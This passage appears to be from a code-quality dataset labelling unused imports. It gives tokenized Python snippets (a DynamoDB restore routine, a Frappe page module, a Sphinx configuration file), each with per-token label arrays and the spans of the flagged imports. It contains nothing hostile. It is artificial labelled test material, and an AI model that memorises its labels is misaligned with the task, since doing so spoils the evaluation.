"\\u",
"read",
"\\u",
"capacity_",
",_",
"original",
"\\u",
"write",
"\\u",
"capacity_",
",_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"loop",
" ",
"through",
" ",
"each",
" ",
"GS",
"I",
" ",
"to",
" ",
"check",
" ",
"if",
" ",
"it",
" ",
"has",
" ",
"change",
"d",
" ",
"and",
" ",
"update",
" ",
"if",
" ",
"necessar",
"y_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"table",
"\\u",
"global",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"gsi",
"\\u",
"data_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"gsi",
"_",
"in_",
"table",
"\\u",
"global",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"original",
"\\u",
"gsi",
"\\u",
"write",
"\\u",
"capacity_",
"=_",
"original",
"\\u",
"gsi",
"\\u",
"write",
"\\u",
"capacit",
"ies_",
"._",
"pop_",
"(_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"original",
"\\u",
"gsi",
"\\u",
"write",
"\\u",
"capacity_",
"!=_",
"gsi",
"_",
"[_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
"]_",
"[_",
"\"",
"Write",
"Capacit",
"y",
"Unit",
"s",
"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"gsi",
"\\u",
"data_",
"._",
"append_",
"(_",
"{_",
"\"",
"Update",
"\"_",
":_",
"{_",
"\"",
"Index",
"Name",
"\"_",
":_",
"gsi",
"_",
"[_",
"\"",
"Index",
"Name",
"\"_",
"]_",
",_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
":_",
"{_",
"\"",
"Read",
"Capacit",
"y",
"Unit",
"s",
"\"_",
":_",
"int_",
"(_",
"gsi",
"_",
"[_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
"]_",
"[_",
"\"",
"Read",
"Capacit",
"y",
"Unit",
"s",
"\"_",
"]_",
")_",
",_",
"\"",
"Write",
"Capacit",
"y",
"Unit",
"s",
"\"_",
":_",
"int_",
"(_",
"original",
"\\u",
"gsi",
"\\u",
"write",
"\\u",
"capacity_",
")_",
",_",
"}_",
",_",
"}_",
",_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"\"",
"Up",
"dati",
"ng",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"",
" ",
"global",
" ",
"second",
"ary",
" ",
"indexe",
"s",
" ",
"write",
" ",
"capacit",
"ies",
" ",
"as",
" ",
"necessar",
"y",
"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"while_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"conn_",
"._",
"update",
"\\u",
"table_",
"(_",
"destinat",
"ion",
"\\u",
"table_",
",_",
"global",
"\\u",
"second",
"ary",
"\\u",
"index",
"\\u",
"updates_",
"=_",
"gsi",
"\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"boto_",
"._",
"exception_",
"._",
"JSONR",
"esp",
"ons",
"e",
"Error_",
",_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"e_",
"._",
"body_",
"[_",
"\"\\u\\u",
"type",
"\"_",
"]_",
"==_",
"\"",
"com",
".",
"amaz",
"ona",
"ws",
".",
"dynamodb",
".",
"v2",
"0120",
"810",
"#",
"Limit",
"Exce",
"eded",
"Except",
"ion",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Limit",
" ",
"exceed",
"ed",
",",
" ",
"retrying",
" ",
"updat",
"ing",
" ",
"throughput",
" ",
"of",
" ",
"Global",
"Second",
"ary",
"Indexe",
"s",
" ",
"in",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"sleep",
"\\u",
"interval_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"e_",
"._",
"body_",
"[_",
"\"\\u\\u",
"type",
"\"_",
"]_",
"==_",
"\"",
"com",
".",
"amaz",
"on",
".",
"cora",
"l",
".",
"avail",
"abilit",
"y",
"#",
"Thr",
"ott",
"ling",
"Except",
"ion",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Control",
" ",
"plane",
" ",
"limit",
" ",
"exceed",
"ed",
",",
" ",
"retrying",
" ",
"updat",
"ing",
" ",
"throughput",
" ",
"of",
" ",
"Global",
"Second",
"ary",
"Indexe",
"s",
" ",
"in",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"sleep",
"\\u",
"interval_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"\"",
"Restor",
"e",
" ",
"for",
" ",
"\"_",
"+_",
"source",
"\\u",
"table_",
"+_",
"\"",
" ",
"to",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"",
" ",
"table",
" ",
"complete",
"d",
".",
" ",
"Time",
" ",
"take",
"n",
":",
" ",
"\"_",
"+_",
"str_",
"(_",
"datetime_",
"._",
"datetime_",
"._",
"now_",
"(_",
")_",
"._",
"replace_",
"(_",
"microsecond_",
"=_",
"0_",
")_",
"-_",
"start",
"\\u",
"time_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | frappe/frappe/frappe/templates/pages/me.py | [
{
"content": "# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors\n# MIT License. See license.txt\n\nfrom __future__ import unicode_literals\nimport frappe\nfrom frappe import _\nfrom frappe.utils.user import get_fullname_and_avatar\nimport frappe.templates.pages.list\n\nno_cache = 1\nno_sitemap = 1\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def get_context(context):\n\tcontext.show_sidebar=True",
"metadata": "root.get_context",
"header": "['module', '___EOS___']",
"index": 12
}
]
| [
{
"span": "import frappe",
"start_line": 4,
"start_column": 0,
"end_line": 4,
"end_column": 13
},
{
"span": "from frappe.utils.user import get_fullname_and_avatar",
"start_line": 6,
"start_column": 0,
"end_line": 6,
"end_column": 53
},
{
"span": "import frappe.templates.pages.list",
"start_line": 7,
"start_column": 0,
"end_line": 7,
"end_column": 34
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"Copy",
"right",
" ",
"(",
"c",
")",
" ",
"201",
"5",
",",
" ",
"Fra",
"ppe",
" ",
"Techno",
"logi",
"es",
" ",
"Pv",
"t",
".",
" ",
"Lt",
"d",
".",
" ",
"and",
" ",
"Contributor",
"s_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"MIT",
" ",
"License",
".",
" ",
"See",
" ",
"license",
".",
"txt_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"unicode",
"\\u",
"literals_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"frappe_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"frappe_",
"import_",
"\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"frappe_",
"._",
"utils_",
"._",
"user_",
"import_",
"get",
"\\u",
"full",
"name",
"\\u",
"and",
"\\u",
"avatar_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"frappe_",
"._",
"templates_",
"._",
"pages_",
"._",
"list_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"no",
"\\u",
"cache_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"no",
"\\u",
"sitemap",
"_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"get",
"\\u",
"context_",
"(_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"_",
"context_",
"._",
"show",
"\\u",
"sidebar",
"_",
"=_",
"True_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | florianpaquet/django-mease/docs/source/conf.py | [
{
"content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# django-mease documentation build configuration file, created by\n# sphinx-quickstart on Wed Jan 22 22:28:28 2014.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys\nimport os\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = []\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'django-mease'\ncopyright = '2014, Florian PAQUET'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '0.1.9'\n# The full version, including alpha/beta/rc tags.\nrelease = '0.1.9'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#language = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = []\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n#keep_warnings = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'default'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'django-measedoc'\n\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n ('index', 'django-mease.tex', 'django-mease Documentation',\n 'Florian PAQUET', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n ('index', 'django-mease', 'django-mease Documentation',\n ['Florian PAQUET'], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n ('index', 'django-mease', 'django-mease Documentation',\n 'Florian PAQUET', 'django-mease', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#texinfo_no_detailmenu = False\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "import sys",
"start_line": 15,
"start_column": 0,
"end_line": 15,
"end_column": 10
},
{
"span": "import os",
"start_line": 16,
"start_column": 0,
"end_line": 16,
"end_column": 9
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#!",
"/",
"usr",
"/",
"bin",
"/",
"env",
" ",
"python",
"3_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"-*-",
" ",
"codi",
"ng",
":",
" ",
"utf",
"-",
"8",
" ",
"-*-",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"django",
"-",
"meas",
"e",
" ",
"documentation",
" ",
"build",
" ",
"configura",
"tion",
" ",
"file",
",",
" ",
"created",
" ",
"by_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"sphinx",
"-",
"quicks",
"tart",
" ",
"on",
" ",
"We",
"d",
" ",
"Jan",
" ",
"2",
"2",
" ",
"2",
"2",
":",
"2",
"8",
":",
"2",
"8",
" ",
"2014",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"file",
" ",
"is",
" ",
"execfile",
"()",
"d",
" ",
"with",
" ",
"the",
" ",
"current",
" ",
"director",
"y",
" ",
"set",
" ",
"to",
" ",
"its_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"contain",
"ing",
" ",
"dir",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Not",
"e",
" ",
"tha",
"t",
" ",
"not",
" ",
"all",
" ",
"possib",
"le",
" ",
"configura",
"tion",
" ",
"values",
" ",
"are",
" ",
"presen",
"t",
" ",
"in",
" ",
"this_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"autogen",
"erate",
"d",
" ",
"file",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"All",
" ",
"configura",
"tion",
" ",
"values",
" ",
"have",
" ",
"a",
" ",
"default",
";",
" ",
"values",
" ",
"tha",
"t",
" ",
"are",
" ",
"commente",
"d",
" ",
"out_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"serve",
" ",
"to",
" ",
"show",
" ",
"the",
" ",
"default",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"extensi",
"ons",
" ",
"(",
"or",
" ",
"module",
"s",
" ",
"to",
" ",
"document",
" ",
"with",
" ",
"autod",
"oc",
")",
" ",
"are",
" ",
"in",
" ",
"anot",
"her",
" ",
"director",
"y",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"add",
" ",
"these",
" ",
"director",
"ies",
" ",
"to",
" ",
"sys",
".",
"path",
" ",
"here",
".",
" ",
"If",
" ",
"the",
" ",
"director",
"y",
" ",
"is",
" ",
"relative",
" ",
"to",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"documentation",
" ",
"root",
",",
" ",
"use",
" ",
"os",
".",
"path",
".",
"abs",
"path",
" ",
"to",
" ",
"make",
" ",
"it",
" ",
"abs",
"olute",
",",
" ",
"like",
" ",
"shown",
" ",
"here",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"sys",
".",
"path",
".",
"insert",
"(",
"0",
",",
" ",
"os",
".",
"path",
".",
"abs",
"path",
"('.",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"General",
" ",
"configura",
"tion",
" ",
"--------------",
"--------------",
"--------------",
"------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"your",
" ",
"documentation",
" ",
"need",
"s",
" ",
"a",
" ",
"minima",
"l",
" ",
"Sph",
"inx",
" ",
"version",
",",
" ",
"state",
" ",
"it",
" ",
"here",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"need",
"s",
"\\u",
"sphinx",
" ",
"=",
" ",
"'",
"1.0",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"Sph",
"inx",
" ",
"extensi",
"on",
" ",
"module",
" ",
"names",
" ",
"here",
",",
" ",
"as",
" ",
"string",
"s",
".",
" ",
"The",
"y",
" ",
"can",
" ",
"be_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"extensi",
"ons",
" ",
"comi",
"ng",
" ",
"with",
" ",
"Sph",
"inx",
" ",
"(",
"named",
" ",
"'",
"sphinx",
".",
"ext",
".*",
"')",
" ",
"or",
" ",
"your",
" ",
"custom_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"ones",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"extensions_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"template",
"s",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"template",
"s",
"\\u",
"path_",
"=_",
"[_",
"'\\u",
"template",
"s",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"suff",
"ix",
" ",
"of",
" ",
"source",
" ",
"filename",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"source",
"\\u",
"suffix_",
"=_",
"'.",
"rst",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"encoding",
" ",
"of",
" ",
"source",
" ",
"files",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"source",
"\\u",
"encoding",
" ",
"=",
" ",
"'",
"utf",
"-",
"8",
"-",
"sig",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"master",
" ",
"toc",
"tree",
" ",
"document",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"master",
"\\u",
"doc_",
"=_",
"'",
"index",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"General",
" ",
"informati",
"on",
" ",
"abo",
"ut",
" ",
"the",
" ",
"project",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"project_",
"=_",
"'",
"django",
"-",
"meas",
"e",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"copyright_",
"=_",
"'",
"2014",
",",
" ",
"Flor",
"ian",
" ",
"PA",
"QUE",
"T",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"version",
" ",
"info",
" ",
"for",
" ",
"the",
" ",
"project",
" ",
"you",
"'",
"re",
" ",
"document",
"ing",
",",
" ",
"acts",
" ",
"as",
" ",
"replace",
"ment",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"|",
"version",
"|",
" ",
"and",
" ",
"|",
"release",
"|",
",",
" ",
"als",
"o",
" ",
"used",
" ",
"in",
" ",
"vari",
"ous",
" ",
"other",
" ",
"place",
"s",
" ",
"through",
"out",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"bui",
"lt",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"short",
" ",
"X",
".",
"Y",
" ",
"version",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"version_",
"=_",
"'",
"0.",
"1.9",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"The",
" ",
"full",
" ",
"version",
",",
" ",
"inclu",
"ding",
" ",
"alpha",
"/",
"beta",
"/",
"rc",
" ",
"tags",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"release_",
"=_",
"'",
"0.",
"1.9",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"language",
" ",
"for",
" ",
"content",
" ",
"autogen",
"erate",
"d",
" ",
"by",
" ",
"Sph",
"inx",
".",
" ",
"Refer",
" ",
"to",
" ",
"documentation",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"for",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"support",
"ed",
" ",
"language",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"language",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
